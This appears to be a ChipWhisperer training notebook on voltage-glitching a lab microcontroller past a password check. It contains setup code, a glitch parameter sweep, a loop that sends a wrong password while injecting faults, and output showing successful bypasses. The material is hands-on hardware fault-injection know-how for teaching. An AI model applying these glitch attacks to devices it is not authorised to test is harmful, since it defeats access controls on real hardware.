Part 2, Topic 2: Voltage Glitching to Bypass Password¶
NOTE: This lab references some (commercial) training material on ChipWhisperer.io. You can freely execute and use the lab per the open-source license (including using it in your own courses if you distribute similarly), but you must maintain notice about this source location. Consider joining our training course to enjoy the full experience.
SUMMARY: We've seen how voltage glitching can be used to corrupt calculations, just like clock glitching. Let's continue on and see if it can also be used to break past a password check.
LEARNING OUTCOMES:
- Applying previous glitch settings to new firmware
- Checking for success and failure when glitching
Firmware¶
Again, we've already covered this lab, so it'll be mostly up to you!
SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEXMEGA'
SS_VER = 'SS_VER_2_1'
allowable_exceptions = None
VERSION = 'HARDWARE'
CRYPTO_TARGET = 'TINYAES128C'
#!/usr/bin/env python
# coding: utf-8
# In[ ]:
import chipwhisperer as cw
try:
if not scope.connectStatus:
scope.con()
except NameError:
scope = cw.scope(hw_location=(5, 4))
try:
if SS_VER == "SS_VER_2_1":
target_type = cw.targets.SimpleSerial2
elif SS_VER == "SS_VER_2_0":
raise OSError("SS_VER_2_0 is deprecated. Use SS_VER_2_1")
else:
target_type = cw.targets.SimpleSerial
except:
SS_VER="SS_VER_1_1"
target_type = cw.targets.SimpleSerial
try:
target = cw.target(scope, target_type)
except:
print("INFO: Caught exception on reconnecting to target - attempting to reconnect to scope first.")
print("INFO: This is a work-around when USB has died without Python knowing. Ignore errors above this line.")
scope = cw.scope(hw_location=(5, 4))
target = cw.target(scope, target_type)
print("INFO: Found ChipWhisperer😍")
# In[ ]:
if "STM" in PLATFORM or PLATFORM == "CWLITEARM" or PLATFORM == "CWNANO":
prog = cw.programmers.STM32FProgrammer
elif PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
prog = cw.programmers.XMEGAProgrammer
elif "neorv32" in PLATFORM.lower():
prog = cw.programmers.NEORV32Programmer
elif PLATFORM == "CW308_SAM4S" or PLATFORM == "CWHUSKY":
prog = cw.programmers.SAM4SProgrammer
else:
prog = None
# In[ ]:
import time
time.sleep(0.05)
scope.default_setup()
def reset_target(scope):
if PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
scope.io.pdic = 'low'
time.sleep(0.1)
scope.io.pdic = 'high_z' #XMEGA doesn't like pdic driven high
time.sleep(0.1) #xmega needs more startup time
elif "neorv32" in PLATFORM.lower():
raise IOError("Default iCE40 neorv32 build does not have external reset - reprogram device to reset")
elif PLATFORM == "CW308_SAM4S" or PLATFORM == "CWHUSKY":
scope.io.nrst = 'low'
time.sleep(0.25)
scope.io.nrst = 'high_z'
time.sleep(0.25)
else:
scope.io.nrst = 'low'
time.sleep(0.05)
scope.io.nrst = 'high_z'
time.sleep(0.05)
INFO: Found ChipWhisperer😍
scope.gain.mode changed from low to high scope.gain.gain changed from 0 to 30 scope.gain.db changed from 5.5 to 24.8359375 scope.adc.basic\_mode changed from low to rising\_edge scope.adc.samples changed from 24400 to 5000 scope.adc.trig\_count changed from 10986339 to 22026832 scope.clock.adc\_src changed from clkgen\_x1 to clkgen\_x4 scope.clock.adc\_freq changed from 128000003 to 29947734 scope.clock.adc\_rate changed from 128000003.0 to 29947734.0 scope.clock.clkgen\_div changed from 1 to 26 scope.clock.clkgen\_freq changed from 192000000.0 to 7384615.384615385 scope.io.tio1 changed from serial\_tx to serial\_rx scope.io.tio2 changed from serial\_rx to serial\_tx scope.io.hs2 changed from None to clkgen scope.io.tio\_states changed from (1, 0, 0, 0) to (1, 1, 0, 0) scope.glitch.mmcm\_locked changed from True to False
%%bash -s "$PLATFORM" "$SS_VER"
cd ../../../firmware/mcu/simpleserial-glitch
make PLATFORM=$1 CRYPTO_TARGET=NONE SS_VER=$2 -j
SS\_VER set to SS\_VER\_2\_1
SS\_VER set to SS\_VER\_2\_1
.
Welcome to another exciting ChipWhisperer target build!!
avr-gcc (GCC) 5.4.0
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Size after:
+--------------------------------------------------------
+ Built for platform CW-Lite XMEGA with:
text data bss dec hex filename
2792 6 82 2880 b40 simpleserial-glitch-CWLITEXMEGA.elf
+ CRYPTO\_TARGET = NONE
+ CRYPTO\_OPTIONS =
+--------------------------------------------------------
fw_path = "../../../firmware/mcu/simpleserial-glitch/simpleserial-glitch-{}.hex".format(PLATFORM)
cw.program_target(scope, prog, fw_path)
if SS_VER=="SS_VER_2_1":
target.reset_comms()
XMEGA Programming flash...
XMEGA Reading flash...
Verified flash OK, 2797 bytes
def reboot_flush():
reset_target(scope)
target.flush()
if PLATFORM == "CWLITEXMEGA":
scope.clock.clkgen_freq = 32E6
if SS_VER=='SS_VER_2_1':
target.baud = 230400*32/7.37
else:
target.baud = 38400*32/7.37
elif (PLATFORM == "CWLITEARM") or ("F3" in PLATFORM):
scope.clock.clkgen_freq = 24E6
if SS_VER=='SS_VER_2_1':
target.baud = 230400*24/7.37
else:
target.baud = 38400*24/7.37
#Do glitch loop
reboot_flush()
pw = bytearray([0x74, 0x6F, 0x75, 0x63, 0x68])
target.simpleserial_write('p', pw)
val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10)#For loop check
valid = val['valid']
if valid:
response = val['payload']
raw_serial = val['full_response']
error_code = val['rv']
print(val)
{'valid': True, 'payload': CWbytearray(b'01'), 'full\_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')}
Like with clock glitching, the scope object can set some typical glitch settings for you, with the additional requirement of specifying the transistor to use for glitching ('both'
, 'lp'
, and 'hp'
):
if scope._is_husky:
scope.vglitch_setup('hp', default_setup=False)
else:
scope.vglitch_setup('both', default_setup=False) # use both transistors
gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "offset", "ext_offset"])
gc.display_stats()
gc.glitch_plot(plotdots={"success":"+g", "reset":"xr", "normal":None})
gc.set_range("ext_offset", 0, 150)
if scope._is_husky:
gc.set_range("width", 1900, 1901)
gc.set_range("offset", 2000, 2500)
gc.set_global_step([50])
gc.set_step("ext_offset", 1)
else:
if PLATFORM=="CWLITEXMEGA":
gc.set_range("width", 43.5, 47.8)
gc.set_range("offset", -48, -10)
#gc.set_range("ext_offset", 7, 10)
gc.set_range("ext_offset", 30, 45)
scope.glitch.repeat = 11
elif PLATFORM == "CWLITEARM":
#should also work for the bootloader memory dump
gc.set_range("width", 30.7, 36)
gc.set_range("offset", -40, -35)
scope.glitch.repeat = 7
elif PLATFORM == "CW308_STM32F3":
#these specific settings seem to work well for some reason
#also works for the bootloader memory dump
gc.set_range("ext_offset", 11, 31)
gc.set_range("width", 47.6, 49.6)
gc.set_range("offset", -19, -21.5)
scope.glitch.repeat = 5
gc.set_step("ext_offset", 1)
--------------------------------------------------------------------------- AttributeError Traceback (most recent call last) Cell In[10], line 27 24 gc.set_range("offset", -19, -21.5) 25 scope.glitch.repeat = 5 ---> 27 gc.set_step("ext_offset", 1) File ~/chipwhisperer/software/chipwhisperer/common/results/glitch.py:193, in GlitchController.set_step(self, parameter, step) 191 self.steps[parameter] = step 192 else: --> 193 self.steps[parameter] = [step] * self._num_steps AttributeError: 'GlitchController' object has no attribute '_num_steps'
#disable logging
cw.set_all_log_levels(cw.logging.CRITICAL)
scope.adc.timeout = 0.1
successes = 0
reboot_flush()
for glitch_settings in gc.glitch_values():
scope.glitch.offset = glitch_settings[1]
scope.glitch.width = glitch_settings[0]
scope.glitch.ext_offset = glitch_settings[2]
if scope.adc.state:
# can detect crash here (fast) before timing out (slow)
#print("Trigger still high!")
gc.add("reset")
reboot_flush()
scope.arm()
target.simpleserial_write('p', bytearray([0]*5))
ret = scope.capture()
scope.io.vglitch_reset()
if ret:
#print('Timeout - no trigger')
gc.add("reset")
#Device is slow to boot?
reboot_flush()
else:
val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10, timeout=50)#For loop check
if val['valid'] is False:
gc.add("reset")
else:
if val['payload'] == bytearray([1]): #for loop check
successes +=1
gc.add("success")
print(val)
print(val['payload'])
print(scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset)
print("🐙", end="")
else:
gc.add("normal")
#reenable logging
cw.set_all_log_levels(cw.logging.WARNING)
{'valid': True, 'payload': CWbytearray(b'01'), 'full\_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')} CWbytearray(b'01') 46.484375 -10.15625 43 🐙
{'valid': True, 'payload': CWbytearray(b'01'), 'full\_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')} CWbytearray(b'01') 47.65625 -42.1875 44 🐙
{'valid': True, 'payload': CWbytearray(b'01'), 'full\_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')} CWbytearray(b'01') 47.65625 -39.0625 44 🐙
Let's see where we needed to target for our glitch to work:
gc.calc(["width", "offset"], "success_rate")
[((44,), {'total': 221, 'success': 2, 'success_rate': 0.00904977375565611, 'reset': 62, 'reset_rate': 0.28054298642533937, 'normal': 157, 'normal_rate': 0.7104072398190046}), ((43,), {'total': 222, 'success': 1, 'success_rate': 0.0045045045045045045, 'reset': 62, 'reset_rate': 0.27927927927927926, 'normal': 159, 'normal_rate': 0.7162162162162162}), ((45,), {'total': 204, 'success': 0, 'success_rate': 0.0, 'reset': 50, 'reset_rate': 0.24509803921568626, 'normal': 154, 'normal_rate': 0.7549019607843137}), ((42,), {'total': 225, 'success': 0, 'success_rate': 0.0, 'reset': 67, 'reset_rate': 0.29777777777777775, 'normal': 158, 'normal_rate': 0.7022222222222222}), ((41,), {'total': 234, 'success': 0, 'success_rate': 0.0, 'reset': 78, 'reset_rate': 0.3333333333333333, 'normal': 156, 'normal_rate': 0.6666666666666666}), ((40,), {'total': 208, 'success': 0, 'success_rate': 0.0, 'reset': 53, 'reset_rate': 0.2548076923076923, 'normal': 155, 'normal_rate': 0.7451923076923077}), ((39,), {'total': 209, 'success': 0, 'success_rate': 0.0, 'reset': 62, 'reset_rate': 0.2966507177033493, 'normal': 147, 'normal_rate': 0.7033492822966507}), ((38,), {'total': 195, 'success': 0, 'success_rate': 0.0, 'reset': 45, 'reset_rate': 0.23076923076923078, 'normal': 150, 'normal_rate': 0.7692307692307693}), ((37,), {'total': 199, 'success': 0, 'success_rate': 0.0, 'reset': 48, 'reset_rate': 0.24120603015075376, 'normal': 151, 'normal_rate': 0.7587939698492462}), ((36,), {'total': 196, 'success': 0, 'success_rate': 0.0, 'reset': 51, 'reset_rate': 0.2602040816326531, 'normal': 145, 'normal_rate': 0.7397959183673469}), ((35,), {'total': 195, 'success': 0, 'success_rate': 0.0, 'reset': 41, 'reset_rate': 0.21025641025641026, 'normal': 154, 'normal_rate': 0.7897435897435897}), ((34,), {'total': 197, 'success': 0, 'success_rate': 0.0, 'reset': 39, 'reset_rate': 0.19796954314720813, 'normal': 158, 'normal_rate': 0.8020304568527918}), ((33,), {'total': 195, 'success': 0, 'success_rate': 0.0, 'reset': 38, 'reset_rate': 0.19487179487179487, 'normal': 157, 'normal_rate': 0.8051282051282052}), ((32,), {'total': 195, 'success': 0, 'success_rate': 0.0, 'reset': 38, 'reset_rate': 0.19487179487179487, 'normal': 157, 'normal_rate': 0.8051282051282052}), ((31,), {'total': 200, 'success': 0, 'success_rate': 0.0, 'reset': 43, 'reset_rate': 0.215, 'normal': 157, 'normal_rate': 0.785}), ((30,), {'total': 196, 'success': 0, 'success_rate': 0.0, 'reset': 38, 'reset_rate': 0.19387755102040816, 'normal': 158, 'normal_rate': 0.8061224489795918})]
scope.dis()
target.dis()
assert successes >= 1